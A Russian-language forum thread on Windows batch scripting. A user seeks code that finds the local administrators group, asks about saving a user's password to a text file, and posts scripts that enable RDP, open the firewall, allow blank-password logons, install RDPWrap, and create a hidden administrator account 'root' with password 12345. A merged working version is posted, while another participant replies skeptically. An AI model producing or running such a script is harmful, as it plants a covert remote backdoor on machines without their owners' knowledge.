CMD/BAT - [решено] автоматически определять группу администраторов на любой системе

Аватара пользователя
DetFedot

CMD/BAT - [решено] автоматически определять группу администраторов на любой системе

Сообщение DetFedot »

Нужно сделать код какой будет автоматически определять группа администраторов на любой системе.
Аватара пользователя
DetFedot

Re: CMD/BAT - [решено] автоматически определять группу администраторов на любой системе

Сообщение DetFedot »

Well-known security identifiers in Windows operating systems




Код:

Код: Выделить всё

@echo off
setlocal enableextensions enabledelayedexpansion
for /f "usebackq delims=" %%i in (
	`wmic.exe Group where "LocalAccount=TRUE AND SID = 'S-1-5-32-544'" get Name /value ^| find.exe /i "Name"`
) do set sAdminGroup%%i
if defined sAdminGroupName (
	echo [%sAdminGroupName%]
)
endlocal
exit /b 0
Аватара пользователя
DetFedot

Re: CMD/BAT - [решено] автоматически определять группу администраторов на любой системе

Сообщение DetFedot »

А можно сделать так чтоб сохранялся txt документ с паролем от пользователя в коде





Код:

Код: Выделить всё

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v limitblankpassworduse /t REG_DWORD /d 0 /f
netsh advfirewall firewall add rule name="allow RDP" dir=in protocol=TCP localport=3389 action=allow
"RDPWInst.exe" -i -o
"RDPWInst.exe" -w
Аватара пользователя
DetFedot

Re: CMD/BAT - [решено] автоматически определять группу администраторов на любой системе

Сообщение DetFedot »

А как его можно совместить с RDP



Код:

Код: Выделить всё

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh advfirewall firewall add rule name="allow RDP" dir=in protocol=TCP localport=3389 action=allow
net user root /add
net localgroup Administrator root /add
net user root 12345
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v root /t REG_DWORD /d 0 /f
"RDPWInst.exe" -i -o
"RDPWInst.exe" -w
Аватара пользователя
DetFedot

Re: CMD/BAT - [решено] автоматически определять группу администраторов на любой системе

Сообщение DetFedot »

Цитата DetFedot:



Примерно должно так получится
CMD/BAT - [решено] автоматически определять группу администраторов на любой системе




Если это утверждение — то оно неверное. Если вопрос — то на выбор два ответа: «Не должно» и «Не так».
Аватара пользователя
Iska

Re: CMD/BAT - [решено] автоматически определять группу администраторов на любой системе

Сообщение Iska »

А можете помочь как мне его луче поместить в код чтоб он работал
Аватара пользователя
DetFedot

Re: CMD/BAT - [решено] автоматически определять группу администраторов на любой системе

Сообщение DetFedot »

А можете помочь как мне его луче поместить в код чтоб он работал
Аватара пользователя
DetFedot

Re: CMD/BAT - [решено] автоматически определять группу администраторов на любой системе

Сообщение DetFedot »

Код:

Код: Выделить всё

@echo off
setlocal enableextensions enabledelayedexpansion
for /f "usebackq delims=" %%i in (
	`wmic.exe Group where "LocalAccount=TRUE AND SID = 'S-1-5-32-544'" get Name /value ^| find.exe /i "Name"`
) do set sAdminGroup%%i
reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f
reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fAllowToGetHelp"    /t REG_DWORD /d 1 /f
netsh.exe advfirewall firewall add rule name="allow RDP" dir=in protocol=TCP localport=3389 action=allow
net.exe user "root" "12345" /add
if defined sAdminGroupName (
	net.exe localgroup "%sAdminGroupName%" "root" /add
)
reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "root" /t REG_DWORD /d 0 /f
"RDPWInst.exe" -i -o
"RDPWInst.exe" -w
endlocal
exit /b 0
Аватара пользователя
DetFedot

Re: CMD/BAT - [решено] автоматически определять группу администраторов на любой системе

Сообщение DetFedot »

А может тогда помочь реализовать и другой RDP код



Код:

Код: Выделить всё

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v limitblankpassworduse /t REG_DWORD /d 0 /f
netsh advfirewall firewall add rule name="allow RDP" dir=in protocol=TCP localport=3389 action=allow
"RDPWInst.exe" -i -o
"RDPWInst.exe" -w
Ответить

Вернуться в «Скриптовые языки администрирования Windows»